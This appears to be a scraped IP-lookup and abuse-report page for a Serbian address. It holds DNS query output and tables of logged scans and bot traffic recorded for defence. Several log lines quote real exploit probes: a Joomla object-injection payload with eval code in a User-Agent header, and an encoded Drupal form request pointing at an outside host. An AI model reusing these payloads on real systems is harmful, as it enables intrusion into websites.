城市(city): unknown
省份(region): unknown
国家(country): Serbia
运营商(isp): unknown
主机名(hostname): unknown
机构(organization): unknown
使用类型(Usage Type): unknown
| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 109.93.243.150 | attackspambots | 8080/tcp [2020-06-22]1pkt |
2020-06-23 07:22:01 |
| 109.93.241.191 | attackbotsspam | Unauthorized connection attempt detected from IP address 109.93.241.191 to port 445 |
2020-05-31 22:52:39 |
| 109.93.234.234 | attack | MultiHost/MultiPort Probe, Scan, Hack - |
2020-02-29 21:30:43 |
| 109.93.230.144 | attack | [Sun Oct 06 00:54:23.323518 2019] [:error] [pid 203646] [client 109.93.230.144:36530] [client 109.93.230.144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 18)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "127.0.0.1"] [uri "/cgi-bin/ViewLog.asp"] [unique_id "XZllb0looZarxTX3S1nJuwAAAAY"] ... |
2019-10-06 12:57:43 |
b; <<>> DiG 9.10.3-P4-Ubuntu <<>> 109.93.2.9
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 44823
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
;; QUESTION SECTION:
;109.93.2.9. IN A
;; AUTHORITY SECTION:
. 516 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2022021202 1800 900 604800 86400
;; Query time: 15 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Sun Feb 13 13:19:11 CST 2022
;; MSG SIZE rcvd: 1039.2.93.109.in-addr.arpa domain name pointer 109-93-2-9.dynamic.isp.telekom.rs.Server: 183.60.83.19
Address: 183.60.83.19#53
Non-authoritative answer:
9.2.93.109.in-addr.arpa name = 109-93-2-9.dynamic.isp.telekom.rs.
Authoritative answers can be found from:| IP | 类型 | 评论内容 | 时间 |
|---|---|---|---|
| 205.251.150.194 | botsattack | 205.251.150.194 - - [21/May/2019:08:52:31 +0800] "GET /shop/index.php?l=page_view&p=advanced_search HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:34 +0800] "GET /shop/index.php?l=page_view&p=advanced_search HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:35 +0800] "GET /ss/index.php?l=page_view&p=advanced_search HTTP/1.1" 301 194 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" 205.251.150.194 - - [21/May/2019:08:52:37 +0800] "GET /ss/index.php?l=page_view&p=advanced_search HTTP/1.1" 404 232 "-" "Mozilla/5.0 (Windows; U; Windows NT 2.0) Gecko/20091201 Firefox/3.5.6 GTB5" |
2019-05-21 08:53:56 |
| 139.162.184.185 | bots | 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" 139.162.184.185 - - [04/May/2019:19:47:40 +0800] "\\x15\\x03\\x00\\x00\\x02\\x01\\x00" 400 182 "-" "-" |
2019-05-04 20:01:41 |
| 114.35.105.141 | botsattack | 爬虫攻击phpadmin、pma、sql等 |
2019-05-05 11:08:25 |
| 92.118.161.53 | spam | 92.118.161.53 - - [07/May/2019:11:52:51 +0800] "GET / HTTP/1.0" 301 194 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com" |
2019-05-07 11:53:21 |
| 54.93.245.75 | spam | 54.93.245.75 - - [15/May/2019:14:30:54 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slack-ImgProxy (+https://api.slack.com/robots)" |
2019-05-15 14:31:29 |
| 142.129.23.119 | bots | 142.129.23.119 - - [15/May/2019:13:52:22 +0800] "GET /check-ip/104.5.86.20 HTTP/1.1" 200 9678 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0" 142.129.23.119 - - [15/May/2019:13:52:22 +0800] "GET /check-ip/53.2.54.170 HTTP/1.1" 200 11331 "-" "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0" 142.129.23.119 - - [15/May/2019:13:52:22 +0800] "GET /check-ip/14.143.92.250 HTTP/1.1" 200 9825 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0" 142.129.23.119 - - [15/May/2019:13:52:23 +0800] "GET /check-ip/134.177.82.86 HTTP/1.1" 200 10346 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0" 142.129.23.119 - - [15/May/2019:13:52:29 +0800] "GET /check-ip/128.199.209.6 HTTP/1.1" 200 10750 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre" 142.129.23.119 - - [15/May/2019:13:53:23 +0800] "GET /check-ip/202.98.192.155 HTTP/1.1" 200 9696 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8" |
2019-05-15 13:55:15 |
| 111.202.101.135 | bots | sogouspider |
2019-05-20 09:17:01 |
| 104.194.24.222 | bots | 104.194.24.222 - - [03/May/2019:05:55:25 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10522 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1" 104.194.24.222 - - [03/May/2019:05:55:33 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 9649 "-" "Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:55:42 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10372 "-" "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:55:49 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10458 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:21.0) Gecko/20130331 Firefox/21.0" 104.194.24.222 - - [03/May/2019:05:56:20 +0800] "GET /check-ip/193.250.42.44 HTTP/1.1" 200 10047 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.2b4) Gecko/20091124 Firefox/3.6b4 (.NET CLR 3.5.30729)" |
2019-05-03 05:57:54 |
| 45.114.10.12 | attack | 45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD"
45.114.10.12 - - [06/May/2019:21:45:27 +0800] "GET / HTTP/1.1" 301 194 "-" "}__test|O:21:\\x22JDatabaseDriverMysqli\\x22:3:{s:2:\\x22fc\\x22;O:17:\\x22JSimplepieFactory\\x22:0:{}s:21:\\x22\\x5C0\\x5C0\\x5C0disconnectHandlers\\x22;a:1:{i:0;a:2:{i:0;O:9:\\x22SimplePie\\x22:5:{s:8:\\x22sanitize\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}s:8:\\x22feed_url\\x22;s:277:\\x22eval(chr(100).chr(105).chr(101).chr(40).chr(109).chr(100).chr(53).chr(40).chr(68).chr(73).chr(82).chr(69).chr(67).chr(84).chr(79).chr(82).chr(89).chr(95).chr(83).chr(69).chr(80).chr(65).chr(82).chr(65).chr(84).chr(79).chr(82).chr(41).chr(41).chr(59));JFactory::getConfig();exit\\x22;s:19:\\x22cache_name_function\\x22;s:6:\\x22assert\\x22;s:5:\\x22cache\\x22;b:1;s:11:\\x22cache_class\\x22;O:20:\\x22JDatabaseDriverMysql\\x22:0:{}}i:1;s:4:\\x22init\\x22;}}s:13:\\x22\\x5C0\\x5C0\\x5C0connection\\x22;b:1;}\\xF0\\xFD\\xFD\\xFD" |
2019-05-06 21:47:27 |
| 17.58.102.110 | bots | 17.58.102.110 - - [03/May/2019:10:02:11 +0800] "GET /robots.txt HTTP/1.1" 200 472 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.58.102.110 - - [03/May/2019:10:02:12 +0800] "GET / HTTP/1.1" 200 3299 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Applebot/0.1; +http://www.apple.com/go/applebot)" |
2019-05-03 10:03:35 |
| 54.221.53.134 | spambots | 利用ua字段进行推广的嫌疑 54.221.53.134 - - [15/May/2019:14:13:22 +0800] "GET /check-ip/190.81.186.114 HTTP/1.1" 200 10363 "-" "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)" 34.207.74.88 - - [15/May/2019:14:13:23 +0800] "GET /favicon.ico HTTP/1.1" 200 4286 "-" "Slackbot 1.0 (+https://api.slack.com/robots)" |
2019-05-15 14:16:00 |
| 118.163.196.1 | attack | phpmyadmin db攻击 |
2019-05-09 20:13:46 |
| 154.73.11.16 | botsattack | 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/195.38.87.217 HTTP/1.1" 200 10366 "https://ipinfo.asytech.cn/" "Opera/6.x (Windows NT 4.0; U) [de]" 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/181.208.95.67 HTTP/1.1" 200 10172 "https://ipinfo.asytech.cn/" "Mozilla/3.x (I-Opener 1.1; Netpliance)" 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/181.131.142.51 HTTP/1.1" 200 10146 "https://ipinfo.asytech.cn/" "Mozilla/4.0 (MobilePhone PM-8200/US/1.0) NetFront/3.x MMP/2.0" 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/18.191.65.241 HTTP/1.1" 200 10290 "https://ipinfo.asytech.cn/" "TulipChain/5.x (http://ostermiller.org/tulipchain/) Java/1.x.1_0x (http://java.sun.com/) Linux/2.4.17" 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/17.58.102.110 HTTP/1.1" 200 10120 "https://ipinfo.asytech.cn/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.xx) Gecko/20030504 Mozilla Firebird/0.6" 154.73.11.16 - - [19/May/2019:11:34:34 +0800] "GET /check-ip/158.12.180.226 HTTP/1.1" 200 9545 "https://ipinfo.asytech.cn/" "Jakarta Commons-HttpClient/2.0xxx" 154.73.11.16 - - [19/May/2019:11:34:35 +0800] "GET /check-ip/153.232.187.21 HTTP/1.1" 200 9712 "https://ipinfo.asytech.cn/" "JetBrains Omea Reader 2.0 Release Candidate 1 (http://www.jetbrains.com/omea_reader/)" 154.73.11.16 - - [19/May/2019:11:34:35 +0800] "GET /check-ip/14.26.223.133 HTTP/1.1" 200 9648 "https://ipinfo.asytech.cn/" "SlimBrowser" 154.73.11.16 - - [19/May/2019:11:34:35 +0800] "GET /check-ip/142.119.232.174 HTTP/1.1" 200 10420 "https://ipinfo.asytech.cn/" "WebQL" |
2019-05-20 09:15:57 |
| 182.254.197.152 | attack | 182.254.197.152 - - [14/May/2019:06:42:16 +0800] "POST /%75%73%65%72/%72%65%67%69%73%74%65%72?%65%6c%65%6d%65%6e%74%5f%70%61%72%65%6e%74%73=%74%69%6d%65%7a%6f%6e%65%2f%74%69%6d%65%7a%6f%6e%65%2f%23%76%61%6c%75%65&%61%6a%61%78%5f%66%6f%72%6d=1&%5f%77%72%61%70%70%65%72%5f%66%6f%72%6d%61%74=%64%72%75%70%61%6c%5f%61%6http://118.25.52.138/ HTTP/1.1" 301 194 "-" "Mozilla/5.0 (W |
2019-05-14 07:15:21 |
| 128.201.175.22 | attack | 128.201.175.22 - - [03/May/2019:09:54:23 +0800] "GET /index.php/using-joomla/extensions/components/users-component/registration-form HTTP/1.1" 301 194 "-" "Mozilla/3.0 (compatible; Indy Library)" |
2019-05-03 09:54:58 |